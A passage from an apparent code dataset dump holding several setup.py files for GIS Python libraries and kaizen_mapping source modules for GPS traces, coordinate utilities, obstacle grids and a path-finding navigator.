:: MIT License\",\r\n \"Topic :: Software Development :: Libraries\",\r\n \"Topic :: Software Development :: Libraries :: Python Modules\",\r\n \"Intended Audience :: Developers\",\r\n \"Operating System :: OS Independent\",\r\n ],\r\n)\r\n", "id": "12773593", "language": "Python", "matching_score": 5.229206085205078, "max_stars_count": 2, "path": "setup.py" }, { "content": "import os\nfrom setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\ncurrent_dir = os.path.abspath(os.path.dirname(__file__))\ntry:\n with open(os.path.join(current_dir, \"requirements.txt\"), encoding=\"utf-8\") as f:\n install_requires = f.read().split(\"\\n\")\nexcept FileNotFoundError:\n install_requires = []\n\n\nsetup(\n name=\"py-gis-utility\",\n version=\"0.2.0\",\n author=\"<NAME>\",\n author_email=\"<EMAIL>\",\n url=\"https://github.com/fuzailpalnak/py-gis-utility\",\n description=\"Utility for image and math related operation in GIS\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(),\n python_requires=\"~=3.3\",\n install_requires=install_requires,\n keywords=[\"GIS\", \"Image\"],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Topic :: Software Development :: Libraries\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Intended Audience :: Developers\",\n \"Operating System :: OS Independent\",\n ],\n)\n", "id": "9610492", "language": "Python", "matching_score": 4.394816875457764, "max_stars_count": 0, "path": "setup.py" }, { "content": "from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\ninstall_requires = [\n \"affine == 2.3.0\",\n \"matplotlib == 3.3.1\",\n \"networkx == 2.5\",\n \"numpy == 1.19.1\",\n \"opencv-python >= 4.1.1\",\n \"pandas == 1.1.2\",\n \"scipy == 1.5.2\",\n \"visvalingamwyatt == 0.1.3\",\n]\n\nsetup(\n name=\"kaizen_mapping\",\n version=\"0.0.1\",\n author=\"<NAME>\",\n author_email=\"<EMAIL>\",\n url=\"https://github.com/fuzailpalnak/kaizen\",\n description=\"Map Matching and road Building Conflict solving Library\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(),\n python_requires=\"~=3.3\",\n install_requires=install_requires,\n keywords=[\n \"GIS, Map Matching, Road Network, Building Footprint, Polygon, MultiPolygon, Geometry, Iterative Closet Point\"\n ],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Topic :: Software Development :: Libraries\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Intended Audience :: Developers\",\n \"Operating System :: OS Independent\",\n ],\n)\n", "id": "1087291", "language": "Python", "matching_score": 4.885115146636963, "max_stars_count": 12, "path": "setup.py" }, { "content": "from setuptools import setup, find_packages\r\n\r\nwith open(\"README.md\", \"r\") as fh:\r\n long_description = fh.read()\r\n\r\ninstall_requires = [\r\n \"shapely == 1.7.0\",\r\n \"geojson >= 2.5.0\",\r\n \"py-oneliner == 0.0.1\"\r\n]\r\n\r\nsetup(\r\n name=\"shape_merge\",\r\n version=\"1.0.1\",\r\n author=\"<NAME>\",\r\n author_email=\"<EMAIL>\",\r\n url=\"https://github.com/fuzailpalnak/ShapeMerge\",\r\n description=\"Library that Merges Geo Spatial Shapes\",\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n packages=find_packages(),\r\n python_requires='~=3.3',\r\n install_requires=install_requires,\r\n keywords=[\"GIS, Merge, Shapely, Fiona, Polygon, MultiPolygon, Geometry\"],\r\n classifiers=[\r\n \"Programming Language :: Python :: 3\",\r\n \"License :: OSI Approved :: MIT License\",\r\n \"Topic :: Software Development :: Libraries\",\r\n \"Topic :: Software Development :: Libraries :: Python Modules\",\r\n \"Intended Audience :: Developers\",\r\n \"Operating System :: OS Independent\",\r\n ],\r\n)\r\n", "id": "6251655", "language": "Python", "matching_score": 3.4458465576171875, "max_stars_count": 3, "path": "setup.py" }, { "content": "from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\ninstall_requires = [\n \"numpy == 1.19.1\",\n]\n\nsetup(\n name=\"image_fragment\",\n version=\"0.2.2\",\n author=\"<NAME>\",\n author_email=\"<EMAIL>\",\n url=\"https://github.com/fuzailpalnak/fragment\",\n description=\"Data Section\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(),\n python_requires=\"~=3.6\",\n install_requires=install_requires,\n keywords=[\"numpy, Window, Section, Array, Stitch, Split\"],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n)\n", "id": "5240957", "language": "Python", "matching_score": 3.726499319076538, "max_stars_count": 2, "path": "setup.py" }, { "content": "from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\ninstall_requires = [\"termcolor == 1.1.0\"]\n\nsetup(\n name=\"py_oneliner\",\n version=\"0.0.1\",\n author=\"<NAME>\",\n author_email=\"<EMAIL>\",\n url=\"https://github.com/fuzailpalnak/py_oneliner\",\n description=\"Dynamic print statements for Python Projects\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(),\n python_requires=\"~=3.6\",\n install_requires=install_requires,\n keywords=[\"Python\", \"Print\", \"OneLine Print\"],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n)", "id": "11053728", "language": "Python", "matching_score": 0.01070389710366726, "max_stars_count": 2, "path": "setup.py" }, { "content": "import uuid\nfrom collections import defaultdict, namedtuple\nfrom dataclasses import dataclass, field\nfrom types import SimpleNamespace\nfrom typing import Any, List\n\nfrom geopandas import GeoDataFrame\n\nfrom kaizen_mapping.utils.gis import (\n geom_check,\n decompose_data_frame_row,\n supported_crs,\n read_data_frame,\n)\n\n\n@dataclass\nclass TracePoint:\n x: Any\n y: Any\n trace_point_id: Any\n trace_id: Any\n additional: field(default_factory=namedtuple)\n\n\nclass Traces(defaultdict):\n \"\"\"\n COLLECTION OF THE POINTS\n \"\"\"\n\n def __init__(self):\n super().__init__(list)\n\n @staticmethod\n def trace_point_to_coordinates(trace: List[TracePoint]) -> List[tuple]:\n return [(trace_point.x, trace_point.y) for trace_point in trace]\n\n def coordinates(self) -> List[List]:\n trace_coordinates = list()\n for idx, trace in self.items():\n trace_coordinates.append(self.trace_point_to_coordinates(trace))\n return trace_coordinates\n\n def coordinates_from_id(self, trace_id):\n return self.trace_point_to_coordinates(self[trace_id])\n\n def add(self, x, y, trace_point_id, trace_id, **kwargs):\n \"\"\"\n EVERY TRACE MUST HAVE A UNIQUE TRACE_ID AND THE POINTS IN THE TRACE [TRACE POINTS] MUST HAVE A UNIQUE ID OF\n THEIR OWN\n\n {trace_1_id: [trace_point_1_id, trace_point_2_id]}\n\n :param x:\n :param y:\n :param trace_point_id: unique id\n :param trace_id: which trace does the trace point belong to\n :param kwargs:\n :return:\n \"\"\"\n assert all(\n v is not None for v in [x, y, trace_point_id, trace_id]\n ), \"Expected ['x', 'y', 'trace_point_id', 'trace_id'] to be not None\"\n\n self[trace_id].append(\n TracePoint(x, y, trace_point_id, trace_id, SimpleNamespace(**kwargs))\n )\n\n def from_data_frame(self, trace_data: GeoDataFrame):\n \"\"\"\n\n :param trace_data:\n :return:\n \"\"\"\n\n if geom_check(trace_data, \"Point\"):\n\n assert all(\n element in list(trace_data.columns.values)\n for element in [\n \"trace_id\",\n ]\n ), (\n \"Expected ['trace_id',] key to be in Data\",\n \"got %s\",\n list(trace_data.columns.values),\n )\n\n for idx, feature in trace_data.iterrows():\n feature_geometry, feature_property = decompose_data_frame_row(feature)\n if \"trace_point_id\" in feature_property:\n trace_point_id = feature_property[\"trace_point_id\"]\n else:\n trace_point_id = uuid.uuid1().int\n self.add(\n x=feature_geometry[\"coordinates\"][0],\n y=feature_geometry[\"coordinates\"][1],\n trace_point_id=trace_point_id,\n **feature_property,\n )\n\n elif geom_check(trace_data, \"LineString\"):\n for idx, feature in trace_data.iterrows():\n trace_id = uuid.uuid1().int\n\n feature_geometry, feature_property = decompose_data_frame_row(feature)\n line_string_coordinate = feature_geometry[\"coordinates\"]\n\n for nodes in line_string_coordinate:\n trace_point_id = uuid.uuid1().int\n self.add(\n x=nodes[0],\n y=nodes[-1],\n trace_point_id=trace_point_id,\n trace_id=trace_id,\n **feature_property,\n )\n else:\n raise ValueError(\"Expected Geometry Type to be in ['Point', 'LineString']\")\n\n return self\n\n def single_trace(self, trace: list):\n \"\"\"\n\n :param trace:\n :return:\n \"\"\"\n assert trace is not None, (\n \"Expected trace_point_list to be of type 'list'\" \"got None\"\n )\n assert type(trace) is list, (\n \"Expected trace_point_list to be of type 'list'\" \"got %s\",\n (type(trace)),\n )\n assert len(trace) != 0, (\n \"Expected trace_point_list to be greater than zero\" \"got %s\",\n (len(trace),),\n )\n trace_id = 0\n for trace in trace:\n assert len(trace) == 2, (\n \"Expected trace to have 2 values 'X' and 'Y'\" \"got %s\",\n (trace,),\n )\n trace_point_id = uuid.uuid1()\n self.add(\n x=trace[0],\n y=trace[-1],\n trace_point_id=trace_point_id.int,\n trace_id=trace_id,\n )\n return self\n\n def multiple_trace(self, traces: list):\n \"\"\"\n\n :param traces:\n :return:\n \"\"\"\n assert traces is not None, (\n \"Expected multiple_trace_point_list to be of type 'list'\" \"got None\"\n )\n assert type(traces) is list, (\n \"Expected multiple_trace_point_list to be of type 'list'\" \"got %s\",\n (type(traces)),\n )\n assert len(traces) != 0, (\n \"Expected multiple_trace_point_list to be greater than zero\" \"got %s\",\n (len(traces),),\n )\n for trace_point_list in traces:\n assert type(trace_point_list) is list, (\n \"Expected trace_point_list to be of type 'list'\" \"got %s\",\n (type(trace_point_list)),\n )\n\n trace_id = uuid.uuid1().int\n for trace in trace_point_list:\n assert len(trace) == 2, (\n \"Expected trace to have 2 values 'X' and 'Y'\" \"got %s\",\n (trace,),\n )\n trace_point_id = uuid.uuid1().int\n self.add(\n x=trace[0],\n y=trace[-1],\n trace_point_id=trace_point_id,\n trace_id=trace_id,\n )\n return self\n\n\ndef traces_from_data_frame(trace_data: GeoDataFrame) -> Traces:\n \"\"\"\n Generate traces from GeoSpatial LineString or Point\n :param trace_data:\n :return:\n \"\"\"\n assert supported_crs(trace_data), (\n \"Supported CRS ['epsg:26910', 'epsg:32649']\" \"got %s\",\n (trace_data.crs,),\n )\n return Traces().from_data_frame(trace_data)\n\n\ndef single_trace(trace: list) -> Traces:\n \"\"\"\n Generate single trace from List of Coordinates\n [(trace_1_coord_1_x, trace_1_coord_1_y), (trace_1_coord_2_x, trace_1_coord_2_y),\n (trace_1_coord_3_x, trace_1_coord_3_y), (trace_1_coord_4_x, trace_1_coord_4_y)]\n\n :param trace:\n :return:\n \"\"\"\n\n return Traces().single_trace(trace)\n\n\ndef multiple_traces(traces: list) -> Traces:\n \"\"\"\n Generate collection of trace from List of Coordinates\n [\n [(trace_1_coord_1_x, trace_1_coord_1_y), (trace_1_coord_2_x, trace_1_coord_2_y),\n (trace_1_coord_3_x, trace_1_coord_3_y), (trace_1_coord_4_x, trace_1_coord_4_y)],\n\n [(trace_2_coord_1_x, trace_2_coord_1_y), (trace_2_coord_2_x, trace_2_coord_2_y),\n (trace_2_coord_3_x, trace_2_coord_3_y), (trace_2_coord_4_x, trace_2_coord_4_y)]\n ]\n\n :param traces:\n :return:\n \"\"\"\n\n return Traces().multiple_trace(traces)\n\n\ndef trace_from_file(path: str) -> Traces:\n \"\"\"\n\n :param path:\n :return:\n \"\"\"\n return traces_from_data_frame(read_data_frame(path))\n", "id": "9610490", "language": "Python", "matching_score": 3.6357572078704834, "max_stars_count": 12, "path": "kaizen_mapping/map/trace.py" }, { "content": "from typing import Union, Tuple, List\nimport numpy as np\n\nimport geopandas\nimport visvalingamwyatt as vw\n\nfrom gdal import ogr, osr\nfrom affine import Affine\nfrom geopandas import GeoDataFrame\nfrom pandas import Series\nfrom rasterio.transform import rowcol, xy\nfrom shapely.geometry import mapping, box, Point, Polygon, LineString, MultiLineString\nfrom shapely.ops import polygonize, unary_union, linemerge\n\n\ndef decompose_data_frame_row(row: Series):\n if \"geometry\" not in list(row.keys()):\n raise KeyError(\"Missing Keys, Must have keys ['geometry']\")\n\n feature_geometry = mapping(row[\"geometry\"])\n\n feature_property = dict()\n for geometry_property in list(row.keys()):\n if geometry_property not in [\"geometry\"]:\n feature_property[geometry_property] = row[geometry_property]\n\n return feature_geometry, feature_property\n\n\ndef geom_check(data_frame: GeoDataFrame, geom_type: str) -> bool:\n assert geom_type in [\n \"LineString\",\n \"Point\",\n \"MultiLineString\",\n \"MultiPolygon\",\n \"Polygon\",\n ], (\n \"Expected geomtype to be in ['LineString', 'Point', 'MultiLineString', 'MultiPolygon', 'Polygon'] to check\"\n \"got %s\",\n (geom_type,),\n )\n return all(data_frame.geom_type.array == geom_type)\n\n\ndef pixel_position(x: float, y: float, transform: Affine) -> list:\n \"\"\"\n CONVERT SPATIAL COORDINATES TO PIXEL X AND Y\n\n :param transform:\n :param x:\n :param y:\n :return:\n \"\"\"\n return rowcol(transform, x, y)\n\n\ndef spatial_position(x: int, y: int, transform: Affine) -> list:\n \"\"\"\n CONVERT PIXEL COORDINATE TO SPATIAL COORDINATES\n\n :param transform:\n :param x:\n :param y:\n :return:\n \"\"\"\n return xy(transform, x, y)\n\n\ndef generate_affine(minx: float, maxy: float, resolution: float) -> Affine:\n \"\"\"\n Generate affine transform over the spatial coordinates\n :param minx: min x of the extent\n :param maxy: max y of the extent\n :param resolution: what resolution to use to convert the spatial coordinates in pixel\n :return:\n \"\"\"\n return Affine.translation(minx, maxy) * Affine.scale(resolution, -resolution)\n\n\ndef total_bounds(data_frame: GeoDataFrame):\n return data_frame.total_bounds\n\n\ndef get_maximum_bound(data_frame_1: GeoDataFrame, data_frame_2: GeoDataFrame):\n return (\n data_frame_1.total_bounds\n if box(*data_frame_1.total_bounds).area > box(*data_frame_2.total_bounds).area\n else data_frame_2.total_bounds\n )\n\n\ndef compute_diagonal_distance_of_extent(data_frame: GeoDataFrame) -> float:\n min_x, min_y, max_x, max_y = total_bounds(data_frame)\n return Point((min_x, min_y)).distance(Point((max_x, max_y)))\n\n\ndef my_crs(crs: str):\n return crs in [\"epsg:26910\", \"epsg:32649\"]\n\n\ndef supported_crs(data_frame: GeoDataFrame):\n return data_frame.crs in [\"epsg:26910\", \"epsg:32649\"]\n\n\ndef read_data_frame(path: str):\n return geopandas.read_file(path)\n\n\ndef crs_conversion(\n crs_from: str, crs_to: str, coordinate: tuple\n) -> Tuple[float, float]:\n # https://gis.stackexchange.com/questions/78838/converting-projected-coordinates-to-lat-lon-using-python\n\n assert len(coordinate) == 2, (\n \"Expected 'point' in format '(X, Y)'\" \"got %s\",\n (coordinate,),\n )\n\n crs_from = int(crs_from.split(\":\")[-1])\n crs_to = int(crs_to.split(\":\")[-1])\n\n point = ogr.Geometry(ogr.wkbPoint)\n point.AddPoint(coordinate[0], coordinate[1])\n\n in_spatial_ref = osr.SpatialReference()\n in_spatial_ref.ImportFromEPSG(crs_from)\n\n out_spatial_ref = osr.SpatialReference()\n out_spatial_ref.ImportFromEPSG(crs_to)\n\n coordinate_transform = osr.CoordinateTransformation(in_spatial_ref, out_spatial_ref)\n\n point.Transform(coordinate_transform)\n return point.GetX(), point.GetY()\n\n\ndef bounding_box_crs_conversion(\n bounds: Union[np.ndarray, list, tuple], crs_to: str, crs_from=\"epsg:4326\"\n) -> list:\n\n assert len(bounds) == 1, (\"Expected a single bounding box\" \"got %s\", (len(bounds)))\n assert my_crs(crs_to), (\n \"CRS Provided not in supported list\" \"Expected %s got %s\",\n (\n [\"epsg:26910\", \"epsg:32649\"],\n crs_to,\n ),\n )\n converted_boundary = list()\n for point in bounds[0]:\n converted_boundary.append(\n crs_conversion(crs_from, crs_to, (point[0], point[1]))\n )\n\n return converted_boundary\n\n\ndef convert_and_get_extent(\n bounds: Union[np.ndarray, list, tuple], crs_to: str, crs_from=\"epsg:4326\"\n) -> tuple:\n\n assert len(bounds) == 1, (\"Expected a single bounding box\" \"got %s\", (len(bounds)))\n assert my_crs(crs_to), (\n \"CRS Provided not in supported list\" \"Expected %s got %s\",\n (\n [\"epsg:26910\", \"epsg:32649\"],\n crs_to,\n ),\n )\n\n return Polygon(bounding_box_crs_conversion(bounds, crs_to, crs_from)).bounds\n\n\ndef line_simplify(coordinates: list, area_threshold_im_meters: float):\n # https://github.com/Permafacture/Py-Visvalingam-Whyatt/blob/master/polysimplify.py\n # https://pypi.org/project/visvalingamwyatt/\n # https://hull-repository.worktribe.com/preview/376364/000870493786962263.pdf\n return vw.simplify(coordinates, threshold=area_threshold_im_meters)\n\n\ndef line_referencing(\n line: Union[LineString, MultiLineString], point: Point\n) -> Tuple[Union[int, float], Point]:\n # https://stackoverflow.com/questions/24415806/coordinates-of-the-closest-points-of-two-geometries-in-shapely\n\n assert type(line) in [LineString, MultiLineString], (\n \"Expected type of 'line' to be in ['LineString', 'MultiLineString']\" \"got %s\",\n (type(line),),\n )\n assert type(point) == Point, (\n \"Expected type of 'point' to be 'Point'\" \"got %s\",\n (type(point),),\n )\n fraction = line.project(point, normalized=True)\n project_point = line.interpolate(fraction, normalized=True)\n return fraction, project_point\n\n\ndef line_referencing_series_of_coordinates(\n line: Union[LineString, MultiLineString], points: List[tuple]\n) -> List[Point]:\n assert type(line) in [LineString, MultiLineString], (\n \"Expected type of 'line' to be in ['LineString', 'MultiLineString']\" \"got %s\",\n (type(line),),\n )\n assert all(\n type(point) is tuple for point in points\n ), \"Expected type of 'point' to be 'tuple'\"\n referenced = list()\n for point in points:\n fraction, projected_point = line_referencing(line, Point(point))\n referenced.append(projected_point)\n return referenced\n\n\ndef line_referencing_series_of_point_object(\n line: Union[LineString, MultiLineString], points: List[Point]\n) -> List[Point]:\n assert type(line) in [LineString, MultiLineString], (\n \"Expected type of 'line' to be in ['LineString', 'MultiLineString']\" \"got %s\",\n (type(line),),\n )\n assert all(\n type(point) is Point for point in points\n ), \"Expected type of 'point' to be 'Point'\"\n\n referenced = list()\n for point in points:\n fraction, projected_point = line_referencing(line, point)\n referenced.append(projected_point)\n return referenced\n\n\ndef split_polygon_with_line_string(line: LineString, polygon: Polygon):\n assert type(line) == LineString, (\n \"Expected 'line' to be of type 'LineString'\" \"got %s\",\n (type(line),),\n )\n assert type(polygon) == Polygon, (\n \"Expected 'polygon' to be of type 'Polygon'\" \"got %s\",\n (type(polygon),),\n )\n return list(polygonize(unary_union(linemerge([polygon.boundary, line]))))\n\n\ndef split_poly_coordinates_with_line_coordinates(\n line: List[Union[Tuple, List]], polygon: [List[Union[Tuple, List]]]\n):\n return split_polygon_with_line_string(LineString(line), Polygon(polygon))\n", "id": "5836589", "language": "Python", "matching_score": 3.4501774311065674, "max_stars_count": 12, "path": "kaizen_mapping/utils/gis.py" }, { "content": "import random\nfrom typing import Union, List\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom affine import Affine\nfrom geopandas import GeoDataFrame\nfrom shapely.geometry import Polygon, mapping\n\nfrom kaizen_mapping.map.trace import TracePoint\nfrom kaizen_mapping.utils.gis import (\n geom_check,\n decompose_data_frame_row,\n generate_affine,\n pixel_position,\n supported_crs,\n spatial_position,\n)\n\nANIMATION = False\n\n\nclass Grid:\n def __init__(\n self, bounds: tuple, resolution: int, dimension: tuple, transform: Affine\n ):\n \"\"\"\n\n :param resolution:\n :param bounds: bounds of the grid\n :param dimension: height and width\n :param transform: Affine transformation of the grid\n \"\"\"\n self.min_x, self.min_y, self.max_x, self.max_y = bounds\n self.resolution = resolution\n self.width, self.height = dimension\n\n self._map = np.zeros([self.width, self.height], np.uint8)\n self._transform = transform\n\n @property\n def obstacle_pixel(self):\n return 255\n\n @property\n def transform(self):\n return self._transform\n\n @property\n def extent(self):\n return self.min_x, self.min_y, self.max_x, self.max_y\n\n @property\n def map(self):\n return self._map\n\n @map.setter\n def map(self, value):\n self._map = value\n\n @property\n def dimension(self):\n return self.width, self.height\n\n def grid_index(self, x, y):\n \"\"\"\n GET THE POSITION OF X, Y ON THE GRID\n IF THE GRID IS 10X10 THEN THERE ARE 100 SUB GRID OF PIXEL 1, THIS FUNCTION TELLS WHICH SUB GRID THE X,Y BELONG\n\n :param x:\n :param y:\n :return:\n \"\"\"\n return (y - self.min_y) * self.width + (x - self.min_x)\n\n def collision_check(self, x, y):\n \"\"\"\n check if the given x, y lie in the obstacle zone\n :param y:\n :param x:\n :return:\n \"\"\"\n return self.map[x][y]\n\n def pixel_pos(self, x, y):\n return pixel_position(x, y, self.transform)\n\n def spatial_pos(self, x, y):\n return spatial_position(x, y, self.transform)\n\n def add_obstacle(\n self, obstacle_data_frame: GeoDataFrame, extend_boundary_pixel: int\n ):\n \"\"\"\n Add obstacle to the grid\n\n :param obstacle_data_frame: obstacle data read from GeoDataFrame\n :param extend_boundary_pixel: by how many pixel to extend the obstacle boundary\n :return:\n \"\"\"\n pass\n\n def extent_check(self, bounds: Union[np.ndarray, list, tuple]) -> bool:\n min_x, min_y, max_x, max_y = bounds\n row_start, col_start = self.pixel_pos(min_x, max_y)\n row_stop, col_stop = self.pixel_pos(max_x, min_y)\n return self.width > abs(\n round((row_stop - row_start) / self.resolution)\n ) and self.height > abs(round((col_stop - col_start) / self.resolution))\n\n def spatial_path_from_x_y(self, rx: list, ry: list) -> list:\n assert len(rx) == len(ry), (\n \"Expected Equal number of points in rx and ry\" \"got %s and %s\",\n (\n len(rx),\n len(ry),\n ),\n )\n\n assert len(rx) > 1 and len(ry) > 1, \"Expected to have more than one coordinates\"\n spatial_coordinate = list()\n for x, y in zip(rx, ry):\n spatial_coordinate.append(self.spatial_pos(x, y))\n\n return spatial_coordinate\n\n def pixel_path_from_x_y(self, px: list, py: list):\n assert len(px) == len(py), (\n \"Expected Equal number of points in rx and ry\" \"got %s and %s\",\n (\n len(px),\n len(py),\n ),\n )\n\n assert len(px) > 1 and len(px) > 1, \"Expected to have more than one coordinates\"\n pixel_coordinate = list()\n for x, y in zip(px, py):\n pixel_coordinate.append(self.pixel_pos(x, y))\n\n return pixel_coordinate\n\n def filter_trace(self, trace: List[TracePoint]) -> List[TracePoint]:\n assert all(\n [isinstance(trace_point, TracePoint) for trace_point in trace]\n ), \"Expected all points to be TracePoint, got types %s.\" % (\n \", \".join([str(type(v)) for v in trace])\n )\n return [\n trace_point\n for trace_point in trace\n if not self.collision_check(*self.pixel_pos(trace_point.x, trace_point.y))\n ]\n\n @staticmethod\n def animate(x, y):\n plt.plot(x, y, \"xc\")\n # for stopping simulation with the esc key.\n plt.gcf().canvas.mpl_connect(\n \"key_release_event\",\n lambda event: [exit(0) if event.key == \"escape\" else None],\n )\n if random.uniform(0, 1) > 0.90:\n plt.pause(0.001)\n\n @staticmethod\n def show_animation():\n global ANIMATION\n ANIMATION = True\n\n @staticmethod\n def is_show_animation():\n global ANIMATION\n return ANIMATION\n\n\nclass PixelGrid(Grid):\n \"\"\"\n Pixel Grid Over the Spatial Coordinates\n \"\"\"\n\n def __init__(\n self,\n bounds: tuple,\n resolution: int,\n dimension: tuple,\n transform: Affine,\n ):\n super().__init__(bounds, resolution, dimension, transform)\n\n @classmethod\n def pixel_grid(cls, resolution: int, grid_bounds: Union[np.ndarray, list, tuple]):\n \"\"\"\n Generate a Pixel grid\n\n :param grid_bounds: the region in which the navigation has to be done\n should be large enough to cover all possible path,\n How to choose bounds - if running on obstacle and trace file, choose the extent such that they\n both fit in the extent\n\n If running only on the trace file, then choose the extent such that all possible path to explore can fit\n\n NOTE - DON'T USE EXTENT OF INDIVIDUAL POLYGON, LINESTRING\n NOTE - DON'T USE EXTENT OF THE FILE IF THE FILE JUST CONTAINS FEW GEOMETRIES CLOSE TO EACH OTHER\n\n :param resolution:\n :return:\n \"\"\"\n\n assert type(grid_bounds) in [np.ndarray, tuple, list], (\n \"Expected grid_bounds to be of type Tuple\" \"got %s\",\n (type(grid_bounds),),\n )\n\n assert type(resolution) is int, (\n \"Expected resolution to be of type int\" \"got %s\",\n (type(resolution),),\n )\n min_x, min_y, max_x, max_y = grid_bounds\n\n grid_transform = generate_affine(min_x, max_y, resolution)\n\n row_start, col_start = pixel_position(min_x, max_y, grid_transform)\n row_stop, col_stop = pixel_position(max_x, min_y, grid_transform)\n\n return cls(\n bounds=(row_start, col_start, row_stop, col_stop),\n resolution=resolution,\n dimension=(\n abs(round((row_stop - row_start) / resolution)),\n abs(round((col_stop - col_start) / resolution)),\n ),\n transform=grid_transform,\n )\n\n def add_obstacle(self, obstacle_data_frame: GeoDataFrame, extend_boundary_pixel=2):\n \"\"\"\n Add obstacle to the grid\n\n :param obstacle_data_frame: obstacle data read from GeoDataFrame\n :param extend_boundary_pixel: by how many pixel to extend the obstacle boundary\n :return:\n \"\"\"\n\n assert supported_crs(obstacle_data_frame), (\n \"Supported CRS ['epsg:26910', 'epsg:32649']\" \"got %s\",\n (obstacle_data_frame.crs,),\n )\n\n assert geom_check(\n obstacle_data_frame, \"Polygon\"\n ), \"Expected all geometries in to be Polygon\"\n\n assert self.extent_check(obstacle_data_frame.total_bounds), (\n \"Expected the bounds of obstacle to fit in the Grid but the obstacle Bounds are Much Bigger\"\n \" than the grid bounds\"\n )\n width, height = self.dimension\n obstacle = np.zeros([height, width], np.uint8)\n\n for idx, feature in obstacle_data_frame.iterrows():\n feature_geometry, feature_property = decompose_data_frame_row(feature)\n\n coordinates = feature_geometry[\"coordinates\"]\n for sub_coordinate in coordinates:\n boundary_coordinates = mapping(Polygon(sub_coordinate).boundary)[\n \"coordinates\"\n ]\n corner_points = [\n self.pixel_pos(bo[0], bo[1]) for bo in boundary_coordinates\n ]\n corner_points = np.array(corner_points[:-1], np.int32)\n # https://stackoverflow.com/questions/14161331/creating-your-own-contour-in-opencv-using-python\n cv2.drawContours(\n obstacle,\n [corner_points],\n 0,\n color=(\n self.obstacle_pixel,\n self.obstacle_pixel,\n self.obstacle_pixel,\n ),\n thickness=extend_boundary_pixel,\n )\n cv2.fillPoly(\n obstacle,\n pts=[corner_points],\n color=(\n self.obstacle_pixel,\n self.obstacle_pixel,\n self.obstacle_pixel,\n ),\n )\n\n self.map[np.where(obstacle.T == self.obstacle_pixel)] = self.obstacle_pixel\n\n if ANIMATION:\n x, y = np.where(self.map == self.obstacle_pixel)\n plt.plot(x, y, \".k\")\n", "id": "6735943", "language": "Python", "matching_score": 2.5639493465423584, "max_stars_count": 12, "path": "kaizen_mapping/map/grid.py" }, { "content": "import math\nfrom collections import OrderedDict\nfrom typing import Tuple, List, Union\n\nimport numpy as np\n\nfrom kaizen_mapping.map import refresh_print\nfrom kaizen_mapping.map.grid import PixelGrid, Grid\nfrom kaizen_mapping.map.robot import Robot\nfrom kaizen_mapping.map.trace import TracePoint, Traces\nfrom kaizen_mapping.utils.gis import line_simplify\nfrom kaizen_mapping.utils.numerical import (\n angle_between_vector,\n vector,\n diagonal_distance,\n euclidean_distance,\n manhattan_distance,\n)\n\n\nclass Node:\n def __init__(self, x: int, y: int, cost: float, parent_index):\n \"\"\"\n\n :param x:\n :param y:\n :param cost:\n :param parent_index:\n \"\"\"\n self.x = x\n self.y = y\n self.cost = cost\n self.parent_index = parent_index\n self.parent_node = None\n\n def __str__(self):\n return (\n str(self.x)\n + \",\"\n + str(self.y)\n + \",\"\n + str(self.cost)\n + \",\"\n + str(self.parent_index)\n )\n\n\nclass StartNode(Node):\n def __init__(self, x: int, y: int, cost: float, parent_index):\n \"\"\"\n\n :param x:\n :param y:\n :param cost:\n :param parent_index:\n \"\"\"\n super().__init__(x, y, cost, parent_index)\n\n\nclass GoalNode(Node):\n def __init__(\n self, x: int, y: int, cost: float, parent_index, is_intermediate=False\n ):\n \"\"\"\n\n :param x:\n :param y:\n :param cost:\n :param parent_index:\n :param is_intermediate:\n \"\"\"\n super().__init__(x, y, cost, parent_index)\n self._is_intermediate = is_intermediate\n\n @property\n def is_intermediate(self):\n \"\"\"\n Informs weather the goal is either intermediate of final\n :return:\n \"\"\"\n return self._is_intermediate\n\n\nclass Navigator:\n # http://theory.stanford.edu/~amitp/GameProgramming/\n def __init__(self):\n # INITIAL NAVIGATION SPACE IS SET TO 90 DEG, LATER ON THE PATH FINDER WILL\n # ADJUST AS PER THE LOCATION OF GOAL NODE\n\n # [USE CASE SPECIFIC]\n # TO SIMPLIFY THE SEARCH SPACE AND AVOID SUPERFLUOUS -POTENTIAL NODES.\n # THE IDEA IS THAT, NODES USUALLY FOLLOW SUCCESSIVE PATH USE THIS TO OUR ADVANTAGE\n # AND TO MINIMIZE THE SEARCH SPACE.\n # ONLY THOSE NODES ARE EXPLORED WHICH LIE IN THE NAVIGATE_SPACE\n self._navigate_space = 90\n\n self._direction = Robot().direction()\n\n def _node_connectivity(\n self, start_node: StartNode, goal_collection: list\n ) -> OrderedDict:\n \"\"\"\n Calculates the distance from the current node along with consecutive nodes to the final goal node\n :param start_node:\n :param goal_collection:\n :return:\n \"\"\"\n\n connectivity_meta = OrderedDict()\n\n # ELEMENT FROM 0 th INDEX IS DELETED ON 'del self.goal_collection[0]', WHICH RESULTS IN A GLOBAL DELETE,\n # AND IF 'self.goal_collection'IS COPIED DIRECTLY THEN THE ELEMENTS FROM ITS REFERENCE IS ALSO DELETED, HENCE\n # 'FOR' LOOP IS USED TO CREATE A NEW COPY.\n distance = self.diagonal(goal_collection[0], start_node)\n for j in range(len(goal_collection) - 1):\n distance += self.diagonal(goal_collection[j], goal_collection[j + 1])\n\n my_intermediate_goal = goal_collection[0]\n connectivity_meta[start_node] = {\n 